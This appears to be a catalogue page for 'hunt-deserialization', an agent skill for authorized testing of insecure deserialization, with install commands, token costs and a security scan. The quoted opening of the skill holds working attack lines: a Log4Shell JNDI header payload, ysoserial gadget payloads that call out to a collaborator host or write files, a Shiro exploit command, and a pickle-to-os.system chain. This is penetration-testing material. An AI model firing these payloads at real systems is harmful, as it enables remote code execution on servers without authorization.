hunt-deserialization

hunt-deserialization is a skill for Claude Code, Codex from uphiago/recon-skills. It costs 79 tokens per session (2,401 once invoked), scanned A, original, MIT.

A security-testing guide for finding unsafe handling of serialized data. Serialization turns program objects into data for storage or transfer; insecure deserialization can make Java, PHP, Python, .NET, or Ruby applications run attacker-controlled code.

In plain words
What is it for?
Use it to inspect serialized cookies, requests, queues, and other inputs for dangerous object-loading patterns and known gadget chains.
Why use it?
It helps identify data-processing paths that could lead to remote code execution, file access, or server takeover.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Use it to inspect serialized cookies, requests, queues, and other inputs for dangerous object-loading patterns and known gadget chains.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/uphiago/recon-skills/hunt-deserialization
About the project

Recon Skills is a pack of security-testing skills covering reconnaissance, web applications, APIs, authentication, vulnerability validation, cloud infrastructure, and reporting. Security professionals use it for authorized assessments of systems they own or have written permission to test. The catalogue entries are individual skills from the pack.

uphiago/recon-skills · 1,254 stars · on GitHub · hiago.sh

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add uphiago/recon-skills --skill hunt-deserialization
Clone the repo
git clone --depth 1 https://github.com/uphiago/recon-skills

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for hunt-deserialization

README.md
[![agentmods](https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-deserialization/github.svg)](https://agentmods.dev/skills/uphiago/recon-skills/hunt-deserialization)
Your own site
<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-deserialization"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-deserialization/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for hunt-deserialization

Your own site · 80×15
<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-deserialization"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-deserialization.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 79 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,401 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 3 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 5 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high Privilege Escalation · line 147
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 202
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • medium Data Exfiltration · line 68
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 98
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Privilege Escalation · line 148
    Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
    Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00079 $0.02401
Opus 5 $0.00039 $0.01201
Sonnet 5 $0.00016 $0.00480
Haiku 4.5 $0.00008 $0.00240

Measured 7d ago against content hash 2aa2ba2be5f5, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade A, and why

hunt-deserialization scanned grade A with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Asks for rootlowPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

| RCE as low-privilege user | Find SUID binaries / sudo rules | Privilege escalation → root |

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

- **Python pickle** — `pickle.loads(attacker_data)` → `__reduce__` → `os.system('id')`
redteam/hunt-deserialization/SKILL.md · 206 lines

How it starts

The opening of the file, as written. The whole thing — 206 lines — stays where its author put it; the contents beside it link to each section on GitHub.

HUNT-DESERIALIZATION — Insecure Deserialization

Crown Jewel Targets

Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.

Highest-value chains:

  • Java ysoserial gadget chains — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
  • PHP Object Injection__wakeup / __destruct magic methods → file write / RCE
  • Python picklepickle.loads(attacker_data)__reduce__os.system('id')
  • .NET BinaryFormatter — TypeConfuseDelegate gadget chain → RCE
  • Ruby Marshal.load — Gem::Requirement, Gem::Installer gadgets → RCE
  • JNDI injection — Log4Shell pattern: ${jndi:ldap://attacker/a} → class load → RCE

Attack Surface Signals

Detection Patterns

# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1  # shows: ac ed 00 05

# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02

# Apache Shiro: rememberMe cookie present
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"

# Log4j: test user-controlled fields for JNDI interpolation
curl --max-time 30 --connect-timeout 10 -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/

Header / Cookie Signals

Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/

Step-by-Step Hunting Methodology

Phase 1 — Java Deserialization (ysoserial)

# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
  'curl http://COLLAB_HOST/ysoserial' | base64 -w0

# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
  curl --max-time 30 --connect-timeout 10 -s https://$TARGET/wls-wsat/CoordinatorPortType \
    -H "Content-Type: application/x-java-serialized-object" \
    --data-binary @-

# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"

Read the full file on GitHub · 206 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 206 lines · 79 tokens per session scan A 2aa2ba2be5f5

Subscribe to this mod's changes

hunt-deserialization is a skill published in the GitHub repository uphiago/recon-skills (1,254 stars, last pushed 9d ago), licensed MIT. It adds 79 tokens to every session and 2,401 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 3 findings (asks for root, makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

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